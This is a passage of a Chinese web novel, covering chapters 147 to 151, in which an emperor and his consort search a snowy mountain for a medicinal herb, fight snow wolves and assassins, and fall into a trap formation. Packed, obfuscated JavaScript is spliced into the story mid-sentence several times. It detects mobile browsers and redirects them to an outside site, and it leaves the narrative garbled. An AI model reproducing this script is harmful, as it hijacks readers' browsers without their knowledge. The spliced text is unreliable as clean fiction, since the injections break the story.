安文夕这才闻道一股烤肉的香味,早在刚才,青玄已经打了几只野鸡野兔,架在火上烤了。 众人匆匆吃完烤肉,再次出发,虽然是晚上,夜路难行,但是好在再没有发生什么意外。 子夜时分,他们总算是走出了密林,山麓处的树林稀疏,没有丛林的遮天蔽日,众人猛然感觉一阵豁然开朗。透过斑驳的树影,皎洁的月光倾泻而下,不禁多了几份静谧之感。 青玄升起了火,他们今晚要在此将就一晚,明日一早再入山。 安文夕此时已经疲惫不堪,北宫喆看着她眉眼之间的倦意,心中涌出一阵心疼。 “过来。” 安文夕微微一愣,确定他是在叫她后,慢吞吞的朝他走去,背后那道强烈的视线让她无法忽略。 江向晚身体虚弱不堪,他此时不是应该去照顾她么,为何又来招惹她? 北宫喆看着她脸上的不情愿,目光一沉,一把将她带到怀中,紧紧的扣住了她的腰肢,这姿势要多暧昧有多暧昧。 安文夕脸上一热,眼角的余光打量了眼众人,对北宫喆道:“你,你先放开。” “朕抱着你睡。” 这句话彻底烫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478846|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红了安文夕的脸,他竟然当着他的亲梅竹马对她说这样的话。 北宫喆并没有觉得有何不妥,他只想让她可以舒服的靠在他的怀中睡觉罢了,至于别人的想法,他不在乎。 江向晚恨恨的盯着这一幕,紧咬着下唇,嫉恨的种子在她心中肆意生长。 第二日一早,在熹微的晨光中,安文夕慵懒的睁开了眼睛,不远处的火堆刚刚熄灭,此时正升着一缕袅袅白烟。 北宫喆仍然保持着入睡时的姿势,只怕臂膀早被安文夕压得酸麻。 “醒了。” 安文夕点点头,北宫喆发顶微湿,想必是晚上下了露水,而她紧紧被他搂在怀中,这一夜睡得十分安稳,安文夕心中一暖。 由于欢凉还没有恢复,江向晚体弱,终于由北宫喆、安文夕和月清绝、青玄四人上山。 此处山体起伏不大,地势平坦,登山毫不费力,北宫喆原本担心安文夕的身体会吃不消,没想到她的速度丝毫不输他。月清绝背着药箱在后面喊累的时候,而她却依旧精力充沛。 两个时辰后,山路开始变的崎岖陡峭,安文夕借助铁丝一路前进,精准的将铁丝的尖爪一端勾住斜生在山峰上的树杈,攀着铁丝,飞速攀爬。动作利索,毫不拖泥带水。 这一套丨动作,如行云流水一般,她灵巧的穿梭在悬崖峭壁之间,矫健的身形令北宫喆一阵咋舌。他眸光微敛,这样的攀爬他见所未见,一如她曾送他的东西、给他做的吃食一样,都是那样的与众不同,这又是她给他的惊喜么? 月清绝背着重重的药箱喘着粗气,“我说,你们能不能慢一点?” 北宫喆闻言停了下来,对安文夕道:“累了么?” 安文夕摇了摇头,“还好。” 北宫喆将水带给安文夕道:“喝些水,歇会再赶路吧。” 月清绝一屁股坐了下来,丝毫不顾及什么形象,他已经累到虚脱,嘴唇干得厉害。 “北宫喆,你这小子,就知道照顾你媳妇儿,本公子都渴**也没见你给我喝口水。” 安文夕看着他狼狈的样子,扑哧笑了出来。 “月公子,属下的水给你。”青玄将水袋递了过来。 月清绝接了过来,便开始狂饮,估计还没有登上山,他就先翘辫子了。 北宫喆淡淡扫了他一眼,转眸望去,这幽冥山山势极高,就算他们不眠不休也得花费一天一夜的时间。 突然,不远处的陡坡上滑落的山石吸引了北宫喆的注意力,他看着脚下散落的石块黑瞳蓦地骤缩,安文夕紧随着他的脚步而来,利眸扫了眼那处被人踩过的痕迹,开口道:“有人来过,这是新痕迹,最多不超过十日。” 北宫喆点了点头,他就知道那个人不会轻易善罢甘休,没想到他竟然把目标放到了这里,想让他有来无回,只怕,他还没有这么大的本事。 安文夕看着北宫喆嘴角淡淡的不屑,心中已经猜到了七八分。不过,既然她来了,就不会空手而回。 “你可休息好了?”北宫喆清润的嗓音传来。 第148章 绝对威胁 第一百四十八章绝对威胁 “没有!”月清绝死活赖在地上不肯起身,他已经连着赶路了三个时辰,这一刻钟的时间怎么能休息好? “反正没有本公子,你们也找不到七味草!” “七味草,花开七瓣,生在霜上为黄花,生在雪上则为白花,花极美却不入药,其根有七节,每一节药性皆不相同。你说我说的可有错?”北宫喆幽幽道。 他竟然都知道!估计连无双都不知道那七味草长什么样子。 月清绝不可置信的睁大了眼睛,惊得从地上站了起来,指着北宫喆半天说不出一句话来。 “没有你,朕一样可以找得到,但是,这山路崎岖,猛兽居多,若是没有朕……” 威胁,绝对的威胁! 月清绝眯着凤眼,气愤的看着北宫喆。 “出发!”北宫喆不带温度的声音在他耳边响起,月清绝气的咬牙,气呼呼的跟上了他的步伐。北宫喆,算你小子狠!等拿到七味草,给你媳妇儿解毒的时候,有你求本公子的! 安文夕看着月清绝隐忍怒气的脸,心中有些好笑,她喜欢月清绝和月无双的性子,和他们相处起来,让人觉得轻松。 看着前方的一处险峰,安文夕微微一滞,这么高,她的轻功无疑不行!她微微迷了眼睛,在脑海中飞快的计算着这处陡峭山峰的可攀程度。 “过来。”北宫喆脸上的线条冰冷,但语气却透着丝暖意。 北宫喆直接霸道的揽过安文夕的纤腰,展臂跃了上去,身姿潇洒又俊逸,留下一脸戚色的月清绝,他抬头看着前方那处险峰,不禁蹙了眉头,他这半吊子的轻功,还真没有把握呀。 青玄怎会不知月清绝所想,这月公子虽然医术一绝,但是这武功内力可是真的不怎么样。 “月公子,不如青玄带你一程。” 虽然青玄态度毕恭毕敬,但是他月清绝怎么能让他带他上去呢,这有关于男人的尊严啊! “给本公子拿着药箱。”月清绝取下背上的药箱,直接甩给了青玄,自己纵身跃了上去。 在半山腰之时,月清绝脸上显出吃力来,这不上不下的,偏偏连个歪丨脖子树也没有,这可如何是好? 突然,他的腰间一紧,蓦然回头,原来是青玄,他的心中顿时一喜,此时他也管不了什么男人的尊严了,一把抱住了青玄的脖子,犹如抱住了救命稻草一般。 北宫喆揽着安文夕直接上了险峰,不得不说,这的确比她用爬的快多了,她不经意回头看了眼青玄和月清绝,这一看可吓了一跳。 只见青玄揽着月清绝的“纤腰”,而月清绝则亲密的搂着青玄的脖子,这可比她和北宫喆还要暧昧! 月清绝双脚落地,顿时察觉到了不妥,忙一把推开青玄,刚才那个姿势,真的说不清啊,看着北宫喆微眯的双眼和安文夕怀疑的眼神,月清绝佯装淡定道:“怎么了,不是要赶路么?”他知道越解释越黑,于是直接岔开话题。 “噗——”安文夕看着月清绝故作淡定的样子,毫不客气的笑了出来。 许久,未见她笑了,北宫喆也难得的在嘴角攒出了一抹极淡的笑意。 月清绝瞪了安文夕一眼,率先迈出了步子,因着这一事,整整一下午月清绝和青玄保持着距离,也没有再喊累,一直走走在了前面。几人行了不久,安文夕的速度便渐渐慢了下来,在体力上,她一个女子,终究不如男子。 安文夕不想因为自己而拖累了他们的速度,一直咬牙跟在北宫喆身后,毕竟这是为她寻药,她更不能拖了后腿。 北宫喆很快就察觉到了她的疲倦,缓缓俯下了身子,没有回头开口道:“上来吧。” 安文夕瞬间明白他要背她,看着他宽阔的后背,微微一愣,不禁抿了嘴角。 这还是他第一次背她! “还愣着做什么?”北宫喆这才扭过头来,眉眼依旧寡淡冷清。 安文夕立即走到他身侧,也没有客气,一下跃上了他的后背,将全身的力量都压在了他的身上,这是他非要背她的! 他的背甚至比看起来还有宽广,靠在他背上,没由来得一阵安心,将头埋在他的脖项里,嗅着他身上淡淡的冷香,安文夕脸上蓦地一烫,随即心头涌出一抹复杂,她越来越控制不了自己的内心了,这张温暖宽阔的后背,令她不舍。 “啧啧啧,真是恩爱呀。”月清绝看着北宫喆背安文夕停住脚步,撇了撇嘴道。 “你若是想,青玄也乐意背你。”北宫喆声音不大,却别具震慑力。 月清绝闻言,有些尴尬的瞥了眼青玄,一甩衣袖,将北宫喆抛在了身后。 这一下午过得很快,西斜的一轮红日渐渐沉入山头,越往上越冷,尤其到了晚上,山风更是凛冽。 虽然北宫喆将带来的狐皮披风将她包的严严实实,她还是感觉到了凉意,将身子蜷缩在了北宫喆背上。 “冷?”北宫喆握了握安文夕的手,冰凉刺骨,眉头不悦的挽起,“冷不知道说么?” “还好。” 这叫还好?北宫喆握着她的小手,犹如握着冰块一般。 “青玄。” “属下在。” “查看一下附近可有容身之所。” 北宫喆将安文夕从背上放了下来,将她紧紧拥在怀中,给她暖着双手,他本打算让她待在山麓之下,可她性子倔起来,根本不同意。 他温暖的大手包裹着她几乎要失去知觉的小手,这股暖流顺着她的血液暖遍了她的全身,她不禁下意识紧握。 “我说,你媳妇累了、冷了,你心疼了,本公子累了、渴了,怎么没见你要停下休息呢?”月清绝不满,这小子真是有了媳妇,忘了兄弟。 北宫喆斜斜的看了他一眼,眼底沁出了几分讥讽,分明是一副朕就是疼媳妇,你能怎样? 月清绝再次磨牙,北宫喆,算你小子狠! 不过片刻,青玄翩然现身,抱拳道:“皇上,附近有一处山洞,不大,勉强可以容身。” 北宫喆点点头,转头看向安文夕道:“走吧。” 青玄所说的那个山洞离此处不远,不过是一刻钟的时间,他们便已经到达。这山洞的确不大,勉强可以容下四人。与其说是山洞,倒不如说是山体凹进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478847|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了一块。 北宫喆脸色阴沉,明显带着丝不悦,青玄立即单膝下跪道:“皇上……” “罢了,就在这里吧,你去生火。” 升起了火,安文夕身上这才暖和了点,简单的吃了些烤肉,她便抱着双膝打盹儿,看着面前跳跃的火光发呆。 突然,一只大手猛地将她捞到怀中,安文夕狐疑的看了他一眼,做什么?难道又要抱着她睡,他还养成习惯了不成? “刚才在路上朕瞧着你可是抱得很紧,怎么现在排斥朕了?” 他这是在说她忘恩负义呢! “咳咳……”月清绝故意清了清嗓子,眼睛有意无意在北宫喆和安文夕身上打转。 北宫喆这小子倒是一点也不避讳,昨日人多,他都没好意思说他,今天又来? 明明知道他没有媳妇儿,还存心刺激他? “你若是想,让青玄——” “本公子不想!”月清绝愤愤,能不能别老是拿青玄说事? 好吧,他承认,在媳妇在方面他的确说不过北宫喆。 安文夕看着月清绝一脸愤然,再看了眼北宫喆嘴角噙着的笑意,心中一滞,原来他也有腹黑的时候。 这时,洞口处突然掠过一道黑影,安文夕顿时惊觉,厉声道:“谁?” 北宫喆眸光一沉,青玄立即追了出去,过了半晌,青玄赶回来道:“启禀皇上,属下并没有见到有人。” 安文夕眸光一敛,刚才她绝对是看见了,虽然只是匆匆一闪,她可以敏锐的辨出那是女子的身形,她的心里隐隐的有些不安,这幽冥山无疑就是一个巨大的陷阱。 北宫喆不是不知道,为什么还要去? 她问过月清绝,她中了息子魂殇,只有长在三月雪和八月霜上面的七味草才最有效,难道是这个原因? 她一直都知道他是喜欢她的,不然,就凭他的性子,不会如此的纵容她一次次刺杀他!可是喜欢又能如何?他还有江向晚,他还有大夏的江山。更何况,她并不值得他以身犯险啊。 看着她脸上浮现的忧虑,北宫喆蓦然开口:“对朕没信心?” “不是。”只是有些担心罢了,这句话到了嘴边,又被她咽了回去。 “那是什么?”北宫喆紧追不舍。 “没什么。”安文夕不和和他纠结这个问题,转眸看向月清绝道,“月公子,不知你这药箱里可有银针?” “有是有,你又不懂医,要银针做什么?” “暗器,月公子最好再帮我淬上**,要发作快、又令人痛不欲生的**。” “使暗器,可非君子所为。” “月公子也说了,非君子所为,可是我不是君子,我是女子。”安文夕的嘴角飞快的划过一抹狡黠的笑意。 “依她所言。”北宫喆淡道,她有暗器防身,也好。 月清绝打开药箱,借着火光,小心翼翼的在银针上淬了毒,交给了安文夕一包,然后自己偷偷留了一包。 虽然使暗器非君子所为,可是他为了保命,就是做回小人又如何?他若是小命玩完,就算是君子又有何用? 第149章 羡慕得紧 第一百四十九章羡慕得紧 安文夕只当没有看见月清绝的小动作,微微扯了扯嘴角,有时,这月清绝比无双的性子还要可爱呀。 感觉腰间的手又紧了几分,安文夕倒也没有反抗,任由北宫喆抱着,将头一歪,靠在他的胸膛上睡去,丝毫没有发现身侧人的不妥。 第二日,又赶了整整一上午路,终于抵达了幽冥山顶,幽冥山连绵不绝,山顶极为宽广,常年不化的冰雪装点了整个峰顶,目之所及是铺天盖地的冰雪,晶莹剔透,一切都粉妆玉裹。如果忽略这冰冷噬骨的寒冷的话,这里的确很美。 干冷的寒风刮到脸上如同刀割,尽管来的时候有准备,可她依旧没有想到这山顶之上竟然如此之冷,铺天盖地的寒意朝她灌来,她不禁打了个冷颤。 北宫喆不动声色的用他身上的披风将她裹了起来,安文夕一滞,他身上只着了一件初春的袍子,就仅仅有这件披风可以保暖,他给了她,不冷么? “别给朕冻病了。” “那你呢?”安文夕咬牙,还是问出了在嘴边盘旋已久的话。 “朕不冷。” “行了行了,也不看这是什么时候,等咱们回去,你俩爱咋亲热咋亲热。”本公子眼不见为净。 “月公子该不会是羡慕了吧。”一直如同隐形人的青玄蓦然开口。 “没有。” “明明是羡慕。” “不是!”月清绝恶狠狠的瞪乐青玄一眼,他是不是存心想让北宫喆两口子看他笑话? “月公子痴心医学,想必对男女之事不感兴趣,欢凉和袭匀……”安文夕心情颇为轻松,想来逗一逗月清绝。 “本公子羡慕,羡慕得紧。” “噗——”看着月清绝殷切的眼神,安文夕笑了起来。 北宫喆略略鄙夷的扫了月清绝一眼,月清绝狗腿的贴近安文夕道:“瑾淑妃,欢凉那小丫头最听你的了,不如你将她许给本公子?” “这个,回去再说,现在赶紧找药。”安文夕眼底闪过一抹狡黠,从月清绝身边经过。 “瑾淑妃,你放心,你的事情就是我的事情,本公子一定竭尽全力寻找七味草。” 这七味草,生长在雪上则为白花,这漫漫冰雪,一片纯白,想找到这七味草可不容易! “你就老实的跟在朕身后。” “跟在你身后,那岂不是沿着你找过的地方再找一遍?”安文夕直接和北宫喆分到扬鞭。 “不得离开朕的视线范围。” 安文夕在北宫喆不远处开始搜寻,入目尽是冰雪,别说是药草,白茫茫的雪地上半点杂质都没有,她又在另一处找了一遍,仍然没有收获。 “那七味草有一种独有的药香,至于什么香味本公子也不清楚,你们自己注意点。”月清绝猛然想起古书里的记载,忙提醒道。 药香?安文夕弯着腰,进行地毯式的搜寻。 整整一个下午,几个人都一无所获,月清绝颓唐的坐在了地上,看着渺无边际的雪峰,无力的躺了下来,“这么大的山顶,得找到何年何月?” 安文夕早已冻得全身失去了知觉,看着前方衣衫单薄的北宫喆,她心中一涩。 寒风肆意,席卷而来,她忙拥紧了身上的披风,突然,前方冰雪上面的微动吸引了她的注意力。 她立即跑了过去,只见一株雪白色的小花在雪地上探出了脑袋,花开七瓣,瓣瓣肥厚,漂亮极了,不过半个手掌的大小,而且和雪地融为一体,若是不仔细看,根本不能发现它的存在。 “你们快来,我找到了!”安文夕眸中尽是难以掩饰的兴奋,这几日的奔波,总算没有白费。 她的眼中闪烁着亮晶晶的光芒,一脸轻快中略带着几分俏皮,激动地对他们招手。 “你找到了?”月清绝立即跟了上去。 “月公子,你看这个是不是?” 月清绝顺着安文夕的视线俯身下去,待看到那朵白色的小花,嘴角的笑意一僵,伸手将它拔起。 “怎么,不是么?” “你闻闻。”月清绝将小白花递到安文夕鼻翼,这花虽然七瓣,也极美,但是根本没有任何香味,很明显,这并不是七味草。 安文夕轻轻垂下了眼睑,这里真的会有七味草么? “也别太失望,这虽不是七味草,但它是雪上冰莲,也是极为珍贵的。” 珍稀,却不难寻,这雪上冰莲算是这幽冥山顶生长的最多的一种药草了。 雪上冰莲?安文夕伸手接过月清绝递来的雪上冰莲,端详了片刻,这也看不出哪里像莲花,为什么叫雪上冰莲? “没事没事,反正也是要给江向晚寻药的,这不是刚好么。”月清绝笑了笑。 安文夕闻言将手中的雪上冰莲扔给北宫喆,然后继续去寻找。 “呵呵,吃醋了。” 北宫喆扫了眼手心中的雪上冰莲,然后直接丢给了月清绝,追上了安文夕的脚步。 他从后面拉住安文夕的手道:“别找了,明日再说,天黑了这里只会更冷。” “好。”安文夕点点头,“这一带我们都已经找过了,明日我们直接从那边登顶即可。” 北宫喆牵着她的手径直从一旁下山,安文夕犹豫了一瞬对他道:“若是找不到……” “在朕这里,没有找不到。” 这样霸道的口吻令安文夕心中一震,他们都找了整整一下午,半座山峰都没有半点收获,他哪来的信心? “啊!”他们刚迈出了脚步,身后就传出了月清绝惊悚的惨叫。 北宫喆和安文夕齐齐回头,在月清绝身后不远处,一只只通体雪白的雪狼正虎视眈眈的盯着他们,眼底尽是凶光。 雪狼,常年生活在雪原之上,比平常的狼更加凶残、强壮,它们喜欢悄无声音的逼近猎物,然后直接咬断猎物的脖子,凶猛至极。 月清绝双腿发颤,好端端的怎么会出来这怪物,这个头比他还大好不好,今天这是要死在这里的节奏啊! 只是一眨眼的功夫,北宫喆和安文夕身后的路也被雪狼劫堵,这些雪狼渐渐朝他们逼近,在微暗的光线中,它们的眼睛发出幽绿色令人心颤的光芒,嘴里皆涎着口水,俨然一副饿了几天的样子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗷呜——”一声声悲切的嘶鸣传遍了整个峰顶,不过片刻,四周再次涌出了一批雪狼,一步步朝他们逼近。 他们一步步后退,看来有人是想想用这雪狼将他们逼死在这里! 和雪狼群对视了片刻,狼群似乎已经等不及了,雪狼王嘶吼一声,雪狼群齐齐扑了上来。 北宫喆黑瞳蓦地骤缩,赫然出掌,掀起一阵阵气浪,将他面前的狼群全部击飞,一层巨大的气浪顿时将他们笼罩起来,雪狼群根本无法靠近。 安文夕心中大骇,北宫喆的内功竟然已经达到如此强悍的地步了么? 北宫喆额头上渐渐沁出一层细汗,沉声道:“青玄,待朕手掌之际,务必斩杀狼王!” “属下明白。” “慢着,我来!”安文夕从地上捡起北宫喆的长剑。 “夕儿……” “青玄斩杀狼王,我来除掉狼王身后的母狼!”安文夕厉声道,她可看得清楚,这攻击的命令可是由那母狼出发来的! 第150章 血债血偿 第一百五十章血债血偿 就在北宫喆收掌之际,一支狠戾的羽箭带着煞人的寒气逼向北宫喆的心口,速度快如一道闪电。 长剑破空,眼看手中的剑已经送到了那只母狼的脑袋上,安文夕飞快的收回,一剑斩断即将射丨入北宫喆胸口的羽箭。 “砰——”气浪破开,一股强烈的冲击波猛烈袭来,直接将狼群掀翻。 青玄手起刀落,雪狼王的脑袋顺着下坡咕噜噜滚了下去,狼身赫然倒地。 “潇洒!”月清绝在巨大的冲击中稳住身形,称赞道。 狼王一死,那只母狼不甘心的吼叫着,眼底的幽光骇人,直冲青玄而来,北宫喆夺过安文夕手中的长剑直插在那只母狼腹上,它还未来得及抽搐,就已经倒地不起。 剩下的狼群虽然比以前更加暴躁凶狠,但是没有了雪狼王的领导,俨然成了一盘散沙。 “嗖——” 这时,一支羽箭再次刺破干冷的空气直袭北宫喆,气势比刚才那支更显凌厉。 北宫喆双眸一眯,眸光敛尽,眼底闪过一抹不屑来,伸手抓过那支羽箭,顺着来的方向掷了出去,力道惊人。 “噗呲——” 下一瞬,不远处传来一阵箭头入体的声音,北宫喆利眸紧紧锁住了前方的雪峰。 “怎么,有胆子放暗箭,没胆子出来么?”北宫喆手中的长剑一扫,迅速解决了剩下的雪狼。 雪狼,是群居动物,血性极强,它们宁愿死,也不会做逃兵。 一时间血流成河,整个顶峰殷红一片,浓郁的血腥久久挥之不散。 突然,一道黑色的身影从雪峰后面一跃而来,立在雪峰之上,俯视着众人,一身黑衣冷**人。 “北宫喆,安文夕,今日就是你们的死期,哈哈哈……”慕容清狂笑着,面目有些狰狞。北宫喆废了他的右手,从此再也不能用剑,那今天就要他血债血偿! 北宫喆嘴角微扬,勾起一抹极淡的笑,那笑三分讥讽,七分不屑。 安文夕握着七节鞭,一步步走到北宫喆身边,眯着双眸打量着慕容清,今天这一切早就是慕容清设计好的,北宫喆明明知道却依然来此,他压根就没有把慕容清放在心上! 看着北宫喆和安文夕眸子里的不屑,慕容清不禁怒从心生,这两个人如此狂妄,真是不见棺材不落泪,一会就有他们求饶的时候。 “来人,将他们拿下,杀无赦!” “是。”随着慕容清一声令下,突然从四周涌出来一群黑衣暗卫来。 黑衣暗卫从四面八方席卷而来,速度极快,脚步未动,他们的身形已经到了面前。 北宫喆一把将安文夕拉到身后,长剑直逼那人面门而去,出手极快,来人根本无法躲避。 慕容清看着倒下的暗卫,眸光微敛,没想到这北宫喆的功力已经到了登峰造极的程度,他一共带了五十暗卫来此,在路上已经**二十人,如今这三十人皆是精英中的精英,没想到却被北宫喆轻而易举的解决了! 他扭头对身边的秋月道:“都准备好了么?” “皇上放心,属下已经做了万全准备,定叫他们有来无回。” 慕容清看着底下的一场杀戮,嘴角噙起一丝阴狠的笑意。 安文夕扬起七节鞭,她很清楚,她根本就不是来人的对手,而这些暗卫很聪明,知道她是北宫喆的软肋,皆对她动手,北宫喆为了救她,几处负伤。 安文夕右手微翻,手中的银针直袭来人周身要穴,中了银针的人,不消片刻,便直直往后倒去,痛苦的在地上打滚,下一刻,那人竟然直接拿刀抹了脖子。 这毒,果然令人痛不欲生! 他的同伴见此,直接一掌拍向安文夕,安文夕忙侧身躲避,掌风太急,她终究还是晚了一步。 那一掌直接擦过她的左臂,将她甩开。 “夕儿……”北宫喆蓦地伸手,而他的指尖却只擦过了安文夕的衣角。 “砰——”安文夕重重落地,蓦地涌出一口鲜血来,左臂已经痛的失去了视觉。 趁着北宫喆分神之际,来人的剑锋飞快地划过他的胳膊,殷红的鲜血染红了他的月白长袍,如一朵盛开的曼珠沙华,夺目妖艳。 北宫喆直接一掌将那人拍飞,然后闪身到安文夕面前,挑开刺来的长剑。 “夕儿。” “我没事。”安文夕挣扎着从地上坐起,眸光扫过身前,她的动作蓦地一滞。 前方不远处的血泊里,一朵晶莹剔透的小花半点血色不染,像是刚刚破雪而出一般,在寒风中微微摇动。 难道这就是七味草? 若不是这片血色,只怕他们永远也发现不了,那朵小花只有指甲盖大小,花瓣几近透明,在这漫天的冰雪中,根本就看不见。 安文夕嘴角洋溢起一抹喜色,不顾胳膊上的疼痛,直接在雪地上爬了过去。 “别动,我来。”北宫喆剑锋一扫,逼退了身前的暗卫,身形飞掠而去,青玄立即将安文夕护在了身后。 雪峰上的慕容清看见这一幕,嘴角微勾,直接跃身而下,左手持剑,直逼北宫喆而来。 “小心——”安文夕看着慕容清的剑锋擦过北宫喆的脖颈,不禁惊呼道。 而北宫喆仿佛丝毫没有看到危险一般,小心翼翼的将七味草从雪地里连根拔起。 他这是疯了么! 安文夕咬牙,握紧了七节鞭,踉跄着奔上前去,飞快的射出几枚银针,直袭慕容清持剑的左手。 慕容清手腕一偏,避去了银针,同时卸去了几分剑锋的力道。 就在剑锋离北宫喆的脖子处的大动脉一寸之际,一道黑影飞快的掠过,毫不费力的挑开慕容清的长剑,手里的**朝他射去,然后身形一闪,再次消失不见。这一切发生的太快,众人根本来不及看清。 这道黑色的身影好熟悉,安文夕蓦地想起,这分明是昨晚的那个女子! “啊,皇上——”秋月立即跃到了慕容清身前,击落掷来的**。可惜,她手中的剑还是慢了一步,一枚**直冲慕容清面门。 秋月想也未想,直接扑到了慕容清身上,以身为盾,挡住了**。 “秋月——” 秋月的身子如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不出片刻,冰雪之中已经没有了北宫喆和安文夕的影子。 黑衣女子脸上眼中划过一阵巨大的恐惧,拼命的冲向那处漩涡,可是却被阵阵雪浪掀翻。 “哈哈哈哈……”慕容清因为疼痛眉头狠狠地拧着,脸上带着畅快的笑意使得整张脸十分狰狞。 “皇上,您没事吧?” 慕容清喷涌出大口的鲜血,收住了阴森的笑意,毒辣的目光一一掠过青玄等人,最后将视线落到了秋月的尸身上,厉声道:“带上秋月,撤!” 北宫喆刚才那一掌伤及他的心肺,几乎要了他的命,他得赶紧找个地方疗伤! 青玄和月清绝急忙赶来,这里已经变为平地,丝毫寻不见痕迹,他们不甘心的在地上摩挲着,可是依旧没有发现任何破绽。 北宫喆和安文夕就像是平地消失了一般。 黑衣女子颓唐的得坐在地上,“别费力气了,这是冰雪奇阵,他们根本无法出来!” 第151章 她不相信 第一百五十一章她不相信 青玄和月清绝闻言,脸色皆是一沉,难道说他们再也无法出来了么? 黑衣女子无力地闭上了眼睛,缓缓撤下了脸色的黑纱布,那块黑纱立即随风飘远。 “是你。”月清绝狐疑的看了眼女子,这不是安文夕身边的那个奇怪的陌姑姑么,她怎么会在这里? “是我。” “陌姑姑,你既然说这是冰雪奇阵,那有破解之法么?”青玄无暇顾及陌姑姑怎么会出现在这里的原因,当务之急,是救出皇上和瑾淑妃。 “自然有。”陌姑姑一脸凝色,“可是,这阵眼在外面,他们在里面根本无法破阵。” “既然阵眼在外面,我们将这阵法破了不就行了?”月清绝略略有些兴奋。 陌姑姑摇了摇头,“要找阵眼谈何容易,这冰雪奇阵和八卦阵一样必须有帝王血引路才行。” 青玄和月清绝同时沉默了,帝王血,北宫喆有,可是他现在下面呢。 慕容清果然是好算计,怪不得他如此狂妄,竟敢只身前来幽冥山截杀北宫喆!只怕,原本那条进山的山道也是他毁掉的! “这可怎么办,皇上不能有事啊!”青玄蹙着眉,一拳砸在了雪地上,恨不得代替北宫喆被困冰雪奇阵之中。 “如今,只有一个办法了。” “什么办法?”陌姑姑和青玄同时看向月清绝。 “找楚君昱。” 是了,楚君昱如今刚刚登基为皇,他不仅拥有帝王血,而且内功强劲,百里鬼林和幽冥山根本困不住他,更关键的是,他喜欢安文夕,在这件事上,绝不会袖手旁观! “啊!”急剧的降落,强大的失重感令安文夕蓦地惊呼出声。 “别怕。”北宫喆揽住她纤腰的手紧了几分,霸道的将她带进他的怀里。 四周一片漆黑,皆是冰凉透骨的冰雪,朝他们铺天盖地灌来,安文夕不知道此时他们身在何处,也不知道何时会落地,但是靠在北宫喆怀中,嗅着他身上凉淡的梨花清香,她的心中莫名的涌出一股安心。 不知又下落了多久,突然,安文夕只觉得腰间的力道一紧,身子倏然一顷,她被北宫喆整个儿抱紧。 不好,要落地了! “砰——” 只听这响声,安文夕也知道北宫喆受到了极重的撞击。而她,却紧紧的被北宫喆抱在了怀中,整个压在了他的身上,丝毫没有感觉到任何冲撞,她的心蓦地一颤。 “唔~”北宫喆发出了一声细微的哼声,接着便再没了声响。 “北宫喆……” 安文夕顿时慌乱起来,她小心翼翼的掰开北宫喆紧扣着她的双手。 这里像是一个封闭的空间,又好像和幽冥山顶无异,此时月华如银,倾泻在他惨白的脸上,安文夕指尖轻颤着划过北宫喆的面庞,停驻在他的薄唇之上,轻轻拭去他嘴角带着冰渣的血迹。 此处没有寒风凛冽,但是温度却极低,安文夕在雪地上坐了一会,便已经冻得浑身麻木。 慕容清将他们困在这个阵法里面,就是要将他们活活的冻死,让他们一点点感受死亡的到来! “北宫喆……”安文夕握紧了他的双手,伸手探上了他的脉搏,她虽然不懂医,但是习武之人对脉象极为熟悉。 安文夕的指尖顿时颤了起来,心肺受掌,身体遭到重创,此时北宫喆的脉象乱作一团且十分微弱,她的心陡然一沉。 感觉自己握着的手轻轻地动了一下,安文夕心中大喜,“北宫喆,你醒了?” “夕儿……”北宫喆睫毛轻颤,借着安文夕的力量,勉强坐起身子,好像是牵动了身上的伤,眉头微皱。 “你先别动,伤哪了?” 北宫喆双眸扫了眼四周,然后将视线放在安文夕身上,眸光一凛,“困在这冰雪奇阵,只有死路一条。” 安文夕看着北宫喆惨白的脸色,立即盘腿而坐,“我为你疗伤。”她可没有忘记他受了秋月那倾尽内力的一掌。 北宫喆无力地勾唇,“朕的身体朕了解,别耽误工夫了。” 安文夕闻言蓦地一滞,立即拉着他的手,缓缓输入内力,北宫喆却攥住了她的手道:“夕儿,朕累了,想睡一会。” “没有骗我?” 北宫喆微微点点头。 “那好,我一会叫你。”安文夕鼻头一酸,从身上解下她的他的披风将他裹紧,虽然她知道这件披风在这极寒之地并不能遮挡严寒。 过了许久,安文夕已经冻得失去了知觉,北宫喆的嘴唇干裂的可怕,并微微泛着黑色,安文夕轻挽黛眉,难道是他在密林中中的瘴气? “冷……”北宫喆微弱的发出一个音节。 冷?安文夕抬手摸了下北宫喆的额头,烫的可怕! 他在发烧! “冷……” 安文夕立即将她的狐皮披风也脱了下来,盖在了北宫喆身上,双手覆在他的额头上,试图为他降温。 